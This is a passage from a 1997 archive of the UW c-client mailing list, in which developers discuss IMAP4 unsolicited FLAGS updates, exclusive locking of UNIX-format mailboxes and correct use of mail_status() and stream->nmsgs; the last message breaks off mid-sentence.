mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id HAA10278 for c-client-out; Mon, 24 Feb 1997 07:40:43 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from service.esys.ca (service.esys.ca [141.118.1.124]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with SMTP id HAA10274 for ; Mon, 24 Feb 1997 07:40:39 -0800 Received: from monet.esys.ca by service.esys.ca with smtp (Smail3.1.28.1 #1) id m0vz2Z1-000UlkC; Mon, 24 Feb 97 08:43 MST Received: from winpc2.esys.ca by monet.esys.ca with smtp (Smail3.1.28.1 #6) id m0vz2cm-000RX2C; Mon, 24 Feb 97 08:47 MST From: Warren Turner Reply-To: Warren.Turner@simeon.com To: c-client@cac.washington.edu Message-ID: Date: Mon, 24 Feb 1997 08:37:56 -0700 (mst) Priority: NORMAL X-Mailer: Simeon for Win32 Version 4.1 Build (3) X-Authentication: none MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII unsubscribe From pinedev@shivax2.cac.washington.edu Mon Mar 3 22:41:15 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Mon, 3 Mar 1997 22:41:15 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id WAA31580 for ; Mon, 3 Mar 1997 22:41:13 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id WAA28293 for c-client-out; Mon, 3 Mar 1997 22:38:37 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mail.netmanage.com (mail.netmanage.com [156.27.1.4]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with SMTP id WAA28289 for ; Mon, 3 Mar 1997 22:38:34 -0800 Received: from admin.diego.netmanage.com by mail.netmanage.com (SMI-8.6/SMI-SVR4) id WAA09818; Mon, 3 Mar 1997 22:38:32 -0800 Received: by admin.diego.netmanage.com (SMI-8.6/SMI-SVR4) id WAA18463; Mon, 3 Mar 1997 22:38:31 -0800 From: "Syd Logan" Message-Id: <970303223831.ZM18459@admin.diego.netmanage.com> Date: Mon, 3 Mar 1997 22:38:30 -0800 X-Mailer: Z-Mail (4.0b.820 20aug96) To: c-client@cac.washington.edu Subject: Unsolicited FLAGS updates Cc: syd@Netmanage.COM MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable -----BEGIN PGP SIGNED MESSAGE----- First, let me quote a few lines from RFC 2060: "6.1.2 NOOP Command =2E.. Since any command can return a status update as untagged data, the NOOP c= ommand can be used as a periodic poll for new messages or message status updates= =2E.. =2E.. S: * 14 FETCH (FLAGS (\Seen \Deleted)) =2E.. 7.4.2 FETCH Response The FETCH response returns data about a message to the client... This res= ponse occurs as the result of a FETCH or STORE command, as well as a unilateral= server decision (e.g. flag updates)." The above implies (to me at least) that the IMAP4 server will notify inte= rested parties that a message's flags have changed (interested parties =3D all M= UAs that have a connection to the IMAP4 server and subscribed to the mailbox conta= ining the message which had its flags changed). I have a couple of IMAP4-enabled Z-Mail Unix apps open, both pointing to = the same IMAP server, and both subscribed to the same mailbox. In response to= a delete operation made in Z-Mail GUI, I call c-client's mail_setflag() rou= tine, passing a flag string of \Deleted. On the net, I see: TCP: 0: 0800 201d fb41 0800 0918 2d8e 0800 4500 .. .=FBA....-...= E. 16: 004e 9df2 4000 4006 eba7 9c1b 3cd0 9c1b .N..@.@.....<...= 32: 3c09 0cdb 008f 1fa1 cadb 71d0 6942 5018 <.........q.iBP.= 48: 8000 b76a 0000 4130 3032 3836 2055 4944 ...j..A00286 UID= 64: 2053 544f 5245 2039 202b 466c 6167 7320 STORE 9 +Flags 80: 285c 4465 6c65 7465 6429 0d0a (\Deleted).. If I late send an EXPUNGE, the message is deleted (and I see the expunges= on the net too). Similarly, if I double click a message header in the Z-Mail GUI in order = to read the message, I send a \Seen flag change, and I see this as well in t= he network sniff. What I never see is a FETCH flags sent to the other MUA sharing the mailb= ox. My view of the world is that multiple clients with the same mailbox open sho= uld display the same reality, e.g. that of the mailbox in its current state o= n the server. If one client changes the flag(s) of a message in a remote mailbo= x, then all clients that are connected to the mailbox should receive notific= ation of this change, and update their GUIs via an unsolicited FETCH FLAGS resp= onse. Again, I gathered this from what I have read in FRC 2060 and the c-client= docs, plus what I would expect as a user. The real life situation is that of a = user that leaves work with Z-Mail Unix running, goes home and accesses the mai= lbox with our Z-Mail Pro from his Windows box, and comes back to work the next= day - he should see (IMHO) the chjanges made while at home in the Z-Mail Unix G= UI (sorry for the shameless plugs of Z-Mail :-) Perhaps I have a bug in my implementation, or I am grossly misinterpretin= g the protocol, or I have a twisted reality with regard to the handling of concurrently opened mailboxes, or there is a deficiency in c-client or th= e UW imapd, or some combination of the above. I'd appreciate any comments or guidance in this area than any of you wish= to offer. Regards, syd -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMxvDYiq6Vb4KKrBpAQFhLwP/dYyFzdfwFh0NtEAvw7VigtZzqLJW82xH a23OcJP8NlKsc6rVIC0po3/yL1abVLX8uPPQg5j6yv0TqRzUqFcKdEwH1RbBcKID O6DQmiPmAC842KqBqsKcs1kNOw/wawhMvnzwN/D8zbqpirERuI3OfuukDy/wbedX e1UzalQbBRo=3D =3D63Zl -----END PGP SIGNATURE----- -- = Syd Logan Senior Software Engineer, Z-Mail for Unix NetManage, Inc. http://www.users.cts.com/crash/s/slogan My PGP public key is available at: http://www-swiss.ai.mit.edu/~bal/pks-toplev.html - search for "Syd Logan"= From pinedev@shivax2.cac.washington.edu Tue Mar 4 00:16:30 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Tue, 4 Mar 1997 00:16:29 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id AAA00281 for ; Tue, 4 Mar 1997 00:16:25 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id AAA29950 for c-client-out; Tue, 4 Mar 1997 00:14:31 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhost2.cac.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id AAA29946 for ; Tue, 4 Mar 1997 00:14:28 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with SMTP id AAA16992; Tue, 4 Mar 1997 00:14:26 -0800 Date: Tue, 4 Mar 1997 00:11:58 -0800 (PST) From: Mark Crispin Subject: re: Unsolicited FLAGS updates To: Syd Logan cc: c-client@cac.washington.edu In-Reply-To: <970303223831.ZM18459@admin.diego.netmanage.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII There certainly are unsolicited FLAGS updates in the c-client imapd. However, you must be using a mailbox format that supports multiple simultaneous write access. The standard UNIX format is not such a format; if your mailbox is in standard UNIX format then one imapd process has write access and all other imapds are working with a read-only snapshot of the mailbox. A read-only snapshot won't get any updates. From pinedev@shivax2.cac.washington.edu Tue Mar 4 14:48:46 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Tue, 4 Mar 1997 14:48:45 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id OAA18232 for ; Tue, 4 Mar 1997 14:48:44 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id OAA07879 for c-client-out; Tue, 4 Mar 1997 14:45:26 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from prowler.isocor.com (prowler.isocor.com [198.6.228.65]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id OAA07865; Tue, 4 Mar 1997 14:45:10 -0800 Received: from erik.isocor.com (198.6.228.71) by prowler.isocor.com (NPlex 1.3.070); 4 Mar 1997 14:47:15 -0800 From: Erik Forsberg Reply-To: erik.forsberg@ISOCOR.COM To: Mark Crispin cc: c-client@cac.washington.edu, Syd Logan Subject: Re: re: Unsolicited FLAGS updates In-Reply-To: Message-ID: Date: Tue, 4 Mar 1997 14:45:54 -0800 (Pacific Standard Time) Priority: NORMAL X-Mailer: Simeon for Win32 Version 4.1.1b1 Build (5) X-Authentication: none MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Tue, 4 Mar 1997 00:11:58 -0800 Mark Crispin wrote: > There certainly are unsolicited FLAGS updates in the c-client imapd. > > However, you must be using a mailbox format that supports multiple > simultaneous write access. The standard UNIX format is not such a format; if > your mailbox is in standard UNIX format then one imapd process has write > access and all other imapds are working with a read-only snapshot of the > mailbox. A read-only snapshot won't get any updates. > This has never been my understanding of what Read-Only means. The way I read RFC 2060 is that a mailbox that is selected read-only means that NO actions performed by the user that IS selecting the mailbox is allowed to change the permanent state of this mailbox. Other users selecting the same mailbox read-write certainly could change the permanent state and this SHOULD be reported to other users. If this was interpreted differently, we would end up with a situation that implies that as long as there is one user selecting a mailbox read-write, we could not allow anyone selecting the same mailbox as read-only. It doesnt make sense that selecting a mailbox for read-only is just an excuse for avoiding to keep track of what the state of a mailbox is. That could be quite confusing for a client (as noted in the earlier msg) ---------------------- Erik Forsberg erik.forsberg@isocor.com From pinedev@shivax2.cac.washington.edu Tue Mar 4 15:05:52 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Tue, 4 Mar 1997 15:05:52 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id PAA18793 for ; Tue, 4 Mar 1997 15:05:49 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id OAA08240 for c-client-out; Tue, 4 Mar 1997 14:59:24 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhost1.cac.washington.edu (mailhost1.cac.washington.edu [140.142.32.2]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id OAA08236 for ; Tue, 4 Mar 1997 14:59:22 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with SMTP id OAA12937; Tue, 4 Mar 1997 14:59:17 -0800 Date: Tue, 4 Mar 1997 14:46:05 -0800 (PST) From: Mark Crispin Subject: Re: re: Unsolicited FLAGS updates To: erik.forsberg@ISOCOR.COM cc: c-client@cac.washington.edu, Syd Logan In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Tue, 4 Mar 1997 14:45:54 -0800 (Pacific Standard Time), Erik Forsberg wrote: > This has never been my understanding of what Read-Only means. Don't confuse "read-only" in the IMAP sense with "read-only" in the c-client sense. With the standard UNIX mailbox format, only ONE process is able to write into the file and know about the current state of the file. This is an exclusive lock. The only choices in such circumstances are: 1) access is denied 2) take a snapshot and look at the snapshot read-only. 3) forcibly wrest the exclusive lock from its owner, causing the erstwhile owner to die or to become read-only looking at a snapshot as of the time of wresting. Yes, this is mediocre. That's why we don't use the standard UNIX mailbox format at UW. We use a format which permits shared read/write access. > The way I > read RFC 2060 is that a mailbox that is selected read-only means that NO > actions performed by the user that IS selecting the mailbox is allowed > to change the permanent state of this mailbox. Other users selecting > the same mailbox read-write certainly could change the permanent > state and this SHOULD be reported to other users. Yes, if at all possible, you should do this. > If this was > interpreted differently, we would end up with a situation that implies > that as long as there is one user selecting a mailbox read-write, we > could not allow anyone selecting the same mailbox as read-only. That's one interpretation of what happens when read-write is exclusive due to limitations of the mail store. It's interpretation (1) that I listed above. But there's also (2) and (3). c-client does (3). > It doesnt make sense that selecting a mailbox for read-only is just an > excuse for avoiding to keep track of what the state of a mailbox is. If the mail store can't do it, it can't do it. Either the server is allowed to do something (such as not report updates in this state) that at least conforms to the syntax of the protocol, or there's no server. "We don't support IMAP because IMAP is too inflexible for our needs. Use our wonderful PropertaryMAP instead." > That could be quite confusing for a client (as noted in the earlier msg) As I noted above, we don't use standard UNIX format for this reason and other reasons. From pinedev@shivax2.cac.washington.edu Tue Mar 4 17:40:43 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Tue, 4 Mar 1997 17:40:43 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id RAA20523 for ; Tue, 4 Mar 1997 17:40:42 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id RAA12334 for c-client-out; Tue, 4 Mar 1997 17:38:55 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mail.netmanage.com (mail.netmanage.com [156.27.1.4]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with SMTP id RAA12330 for ; Tue, 4 Mar 1997 17:38:52 -0800 Received: from admin.diego.netmanage.com by mail.netmanage.com (SMI-8.6/SMI-SVR4) id RAA01373; Tue, 4 Mar 1997 17:38:51 -0800 Received: by admin.diego.netmanage.com (SMI-8.6/SMI-SVR4) id RAA03755; Tue, 4 Mar 1997 17:38:50 -0800 From: "Syd Logan" Message-Id: <970304173850.ZM3753@admin.diego.netmanage.com> Date: Tue, 4 Mar 1997 17:38:50 -0800 X-Mailer: Z-Mail (4.0b.820 20aug96) To: c-client@cac.washington.edu Subject: mail_status() and stream->nmsgs MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii -----BEGIN PGP SIGNED MESSAGE----- Hi folks... Periodically, I call mail_status() on my open IMAP4 stream to obtain a count of messages. Every so often the number of messages that is reported by c-client is different (and larger) than what is stored in stream->nmgs. The problem is that my code executes a loop based upon the reported number of messages, calling a mail_*() function which in turn calls mail_elt(). Mail_elt() range checks the message number, and calls fatal() because the specified message number is too high. I tried following the c-client docs which suggest clients never call mail_elt() without first calling mail_fetchfast() or mail_fetchstructure() first, but both of these call mail_elt() and will fail as well. Note that mail_elt() changed in the recent release - the previous release only checked that the message number was 1 or greater. It may be important to note that I only see this problem if I have two MUAs polling for new messages from the same mailbox on the same IMAP4 host. Closing the mailstream down, reopening it, and calling mail_status() again *always* gets me the right answer, but is pretty painful. I am wondering if c-client should be updating stream->nmsgs with the mail_status() - reported value. Regards, syd -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMxzOpyq6Vb4KKrBpAQGGJQP/RV6PIsb1GfKNR2Zz2c3VI06j+bUTNS/5 U+TC9thMiIXO/26JJCW6qV1rL3jYxvz0KT9iBPp91EXsr6N3OkM5Dx4oeji6aqdv IQM4wgWMwrZ477mQs7QO2l1JFC/6Wup5wJf/Z88cFjfVwv0idysIiXMCJN5K0qSz 0YLJI6kc6+M= =ITu9 -----END PGP SIGNATURE----- -- Syd Logan Senior Software Engineer, Z-Mail for Unix NetManage, Inc. http://www.users.cts.com/crash/s/slogan My PGP public key is available at: http://www-swiss.ai.mit.edu/~bal/pks-toplev.html - search for "Syd Logan" From pinedev@shivax2.cac.washington.edu Tue Mar 4 18:05:56 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Tue, 4 Mar 1997 18:05:56 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id SAA23124 for ; Tue, 4 Mar 1997 18:05:55 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id SAA12787 for c-client-out; Tue, 4 Mar 1997 18:03:45 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mail.netmanage.com (mail.netmanage.com [156.27.1.4]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with SMTP id SAA12781; Tue, 4 Mar 1997 18:03:39 -0800 Received: from admin.diego.netmanage.com by mail.netmanage.com (SMI-8.6/SMI-SVR4) id SAA01832; Tue, 4 Mar 1997 18:03:37 -0800 Received: by admin.diego.netmanage.com (SMI-8.6/SMI-SVR4) id SAA04253; Tue, 4 Mar 1997 18:03:35 -0800 From: "Syd Logan" Message-Id: <970304180335.ZM4251@admin.diego.netmanage.com> Date: Tue, 4 Mar 1997 18:03:35 -0800 In-Reply-To: Mark Crispin "Re: re: Unsolicited FLAGS updates" (Mar 4, 2:46pm) References: X-Mailer: Z-Mail (4.0b.820 20aug96) To: Mark Crispin , erik.forsberg@ISOCOR.COM Subject: Re: Unsolicited FLAGS updates Cc: c-client@cac.washington.edu, Syd Logan MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii -----BEGIN PGP SIGNED MESSAGE----- On 1997-3-4 at 2:46pm Mark Crispin write: > Subject Re: re: Unsolicited FLAGS updates > On Tue, 4 Mar 1997 14:45:54 -0800 (Pacific Standard Time), Erik Forsberg > wrote: > > This has never been my understanding of what Read-Only means. > > Don't confuse "read-only" in the IMAP sense with "read-only" in the c-client > sense. > > With the standard UNIX mailbox format, only ONE process is able to write into > the file and know about the current state of the file. This is an exclusive > lock. The only choices in such circumstances are: > 1) access is denied > 2) take a snapshot and look at the snapshot read-only. > 3) forcibly wrest the exclusive lock from its owner, causing the erstwhile > owner to die or to become read-only looking at a snapshot as of the time > of wresting. > (stuff snipped) > That's one interpretation of what happens when read-write is exclusive due to > limitations of the mail store. It's interpretation (1) that I listed above. > But there's also (2) and (3). c-client does (3). > So, if client A starts (read-write), then client B starts, then client B will become read-write and client A will become read-only? Option (3) above lists "owner to die" or "become read-only". Just want to clarify which it is. > > It doesnt make sense that selecting a mailbox for read-only is just an > > excuse for avoiding to keep track of what the state of a mailbox is. > > If the mail store can't do it, it can't do it. Either the server is allowed > to do something (such as not report updates in this state) that at least > conforms to the syntax of the protocol, or there's no server. "We don't > support IMAP because IMAP is too inflexible for our needs. Use our wonderful > PropertaryMAP instead." > > > That could be quite confusing for a client (as noted in the earlier msg) > > As I noted above, we don't use standard UNIX format for this reason and other > reasons. > >-- End of excerpt from Mark Crispin -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMxzUdCq6Vb4KKrBpAQHsqgP/WIVQhvRqGUP29ijib8HAGkaD3KY3SyMS GA37K+913UacyOFk4crbygbBdF2g1Yt2n8IyYjSNwfBFgCNpTvaQscURWq0LcX+D iADPrl+C0CXb9+ZDl9T4nAztlpKL2/886k5Zh3MRNn//7IraSKL1CPChryQC8SsZ eQMrDP7MzMA= =WNAc -----END PGP SIGNATURE----- -- Syd Logan Senior Software Engineer, Z-Mail for Unix NetManage, Inc. http://www.users.cts.com/crash/s/slogan My PGP public key is available at: http://www-swiss.ai.mit.edu/~bal/pks-toplev.html - search for "Syd Logan" From pinedev@shivax2.cac.washington.edu Tue Mar 4 21:05:48 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Tue, 4 Mar 1997 21:05:48 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id VAA04254 for ; Tue, 4 Mar 1997 21:05:47 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id VAA15600 for c-client-out; Tue, 4 Mar 1997 21:03:37 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id VAA15596 for ; Tue, 4 Mar 1997 21:03:34 -0800 Received: from Ikkoku-Kan.Panda.COM (koma@UW-Gateway.Panda.COM [192.107.14.65]) by Tomobiki-Cho.CAC.Washington.EDU id VAA02067; Tue, 4 Mar 1997 21:03:31 -0800 (PST) Received: from localhost (klaus@localhost [127.0.0.1]) by Ikkoku-Kan.Panda.COM id VAA27447; Tue, 4 Mar 1997 21:03:26 -0800 (PST) Date: Tue, 4 Mar 1997 21:01:15 -0800 (PST) From: Mark Crispin Subject: Re: Unsolicited FLAGS updates To: Syd Logan cc: erik.forsberg@ISOCOR.COM, c-client Interest List In-Reply-To: <970304180335.ZM4251@admin.diego.netmanage.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Tue, 4 Mar 1997 18:03:35 -0800, Syd Logan wrote: > So, if client A starts (read-write), then client B starts, then client B > will become read-write and client A will become read-only? Yes. And client A will no longer see updates. Like I said, this is why we don't use UNIX mailbox format. It was never designed for shared read/write/update access. I only support UNIX mailbox format for those folks who insist upon compatibility with the past. From pinedev@shivax2.cac.washington.edu Tue Mar 4 21:33:39 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Tue, 4 Mar 1997 21:33:39 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id VAA04466 for ; Tue, 4 Mar 1997 21:33:38 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id VAA24620 for c-client-out; Tue, 4 Mar 1997 21:31:46 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id VAA24616 for ; Tue, 4 Mar 1997 21:31:42 -0800 Received: from Ikkoku-Kan.Panda.COM (lampin@UW-Gateway.Panda.COM [192.107.14.65]) by Tomobiki-Cho.CAC.Washington.EDU id VAA02081; Tue, 4 Mar 1997 21:31:39 -0800 (PST) Received: from localhost (kung@localhost [127.0.0.1]) by Ikkoku-Kan.Panda.COM id VAA27523; Tue, 4 Mar 1997 21:31:33 -0800 (PST) Date: Tue, 4 Mar 1997 21:03:39 -0800 (PST) From: Mark Crispin Subject: re: mail_status() and stream->nmsgs To: Syd Logan cc: c-client Interest List In-Reply-To: <970304173850.ZM3753@admin.diego.netmanage.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII You are confused by what mail_status() does, and by how shared access works. mail_status() does *NOT* report on the status of the open mailbox on the stream. It reports on the status of some other mailbox. The only time that you use mail_status() is when you want to find out about a mailbox that is *NOT* open. mail_status() is very likely to open another stream on the mailbox, parse the entire mailbox, and close that stream. To find out what messages exist on an open stream, use stream->nmsgs. When the stream is able to get at additional messages, stream->nmsgs will update automatically. You'll also get an mm_exists() event. > It may be important to note that I only see this problem if I have two MUAs > polling for new messages from the same mailbox on the same IMAP4 host. If you are using standard UNIX format on the IMAP server, then the IMAP server of the second MUA killed the read/write access of the first MUA's IMAP server. The first MUA will no longer get updates. You can *NOT* have multiple IMAP servers with read/write/update access to the same UNIX format mailbox. You will never be able to do it with standard UNIX format. IMAP is just a protocol. It can't perform magic on a mailbox format that is designed for exclusive access. If you want shared read/write/update access, you *must* use another mailbox format. I know that I'm sounding like a broken record, but once again this is why we don't use standard UNIX mailbox format. We want shared read/write/update access. > Closing the mailstream down, reopening it, and calling mail_status() again > *always* gets me the right answer, but is pretty painful. mail_status() is an advanced operation, not for c-client novices. When you start doing things such as multiple mailbox scans (e.g. TAB in Pine's folder collection menus), then you need mail_status(). But until that time, mail_status() is not useful for you, so please forget that it exists. > I am wondering if > c-client should be updating stream->nmsgs with the mail_status() - reported > value. No, it shouldn't. stream->nmsgs is the status of what the stream knows, not about what some external thing such as mail_status() had to say. To summarize: 1) Forget about mail_status(). It does not do what you want, and the way you are misuing it you are wasting of CPU time and memory. 2) Use stream->nmsgs and/or mm_exists() events to let you know how many messages you can access on the stream. 3) Do not attempt to have multiple sessions to the same UNIX-format mailbox. If you ignore this advice and start multiple sessions, all but the last started one will be read-only and not get any updates. You can tell that this happened because stream->readonly got set when it wasn't. 4) This is a permanent problem with UNIX-format mailboxes. 5) Certain other formats of mailbox do not have this problem. They can get updates when multiple sessions to the same mailbox are in progress. They can also get updates when they are read-only. From pinedev@shivax2.cac.washington.edu Wed Mar 5 05:52:09 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Wed, 5 Mar 1997 05:52:09 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id FAA09320 for ; Wed, 5 Mar 1997 05:52:08 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id FAA22443 for c-client-out; Wed, 5 Mar 1997 05:46:29 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from newcastl.ecpn.nn.inri.com (newcastl.ecpn.nn.inri.com [199.165.146.202]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id FAA22437; Wed, 5 Mar 1997 05:46:23 -0800 Received: from localhost by newcastl.ecpn.nn.inri.com with SMTP (1.39.111.2/16.2) id AA071309531; Wed, 5 Mar 1997 08:45:31 -0500 Date: Wed, 5 Mar 1997 08:45:29 -0500 (EST) From: Subu Rama X-Sender: sr@newcastl.ecpn.nn.inri.com To: Syd Logan Cc: Mark Crispin , erik.forsberg@ISOCOR.COM, c-client@cac.washington.edu Subject: Re: Unsolicited FLAGS updates In-Reply-To: <970304180335.ZM4251@admin.diego.netmanage.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 4 Mar 1997, Syd Logan wrote: > > > > With the standard UNIX mailbox format, only ONE process is able to write into > > the file and know about the current state of the file. This is an exclusive > > lock. The only choices in such circumstances are: > > 1) access is denied > > 2) take a snapshot and look at the snapshot read-only. > > 3) forcibly wrest the exclusive lock from its owner, causing the erstwhile > > owner to die or to become read-only looking at a snapshot as of the time > > of wresting. > > > > (stuff snipped) > > > That's one interpretation of what happens when read-write is exclusive due to > > limitations of the mail store. It's interpretation (1) that I listed above. > > But there's also (2) and (3). c-client does (3). > > > > So, if client A starts (read-write), then client B starts, then client B will > become read-write and client A will become read-only? Option (3) above lists > "owner to die" or "become read-only". Just want to clarify which it is. > "Becomes read-only". e.g. the pine MUA on Unix. I start up pine in one window, minimize it, forget that I already have one pine session running and start another one in another window, the first one becomes read-only. I also see this case: I start up pine at work (on a HP-UX box), keep reading ... My wife starts up Eudora on our Mac at home (Uses POP, not IMAP) accessing the same mailbox, and ... pine gives up (dies) with access errors. My mailbox is on a Solaris 2.5 system (UNIX mailbox format, of course). Just curious, Mark: Could you give more details on the non-UNIX mailbox format you use at UW ? Thank you Subu Rama sr@inri.com From pinedev@shivax2.cac.washington.edu Wed Mar 5 12:28:42 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Wed, 5 Mar 1997 12:28:41 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id MAA20598 for ; Wed, 5 Mar 1997 12:28:40 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id MAA12337 for c-client-out; Wed, 5 Mar 1997 12:21:47 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id MAA12327 for ; Wed, 5 Mar 1997 12:21:43 -0800 Received: from Ikkoku-Kan.Panda.COM (psw@UW-Gateway.Panda.COM [192.107.14.65]) by Tomobiki-Cho.CAC.Washington.EDU id MAA02737; Wed, 5 Mar 1997 12:21:37 -0800 (PST) Received: from localhost (phillip@localhost [127.0.0.1]) by Ikkoku-Kan.Panda.COM id MAA00577; Wed, 5 Mar 1997 12:19:07 -0800 (PST) Date: Wed, 5 Mar 1997 12:10:28 -0800 (PST) From: Mark Crispin Subject: Re: Unsolicited FLAGS updates To: Subu Rama cc: Syd Logan , erik.forsberg@ISOCOR.COM, c-client@cac.washington.edu In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Wed, 5 Mar 1997 08:45:29 -0500 (EST), Subu Rama wrote: > "Becomes read-only". e.g. the pine MUA on 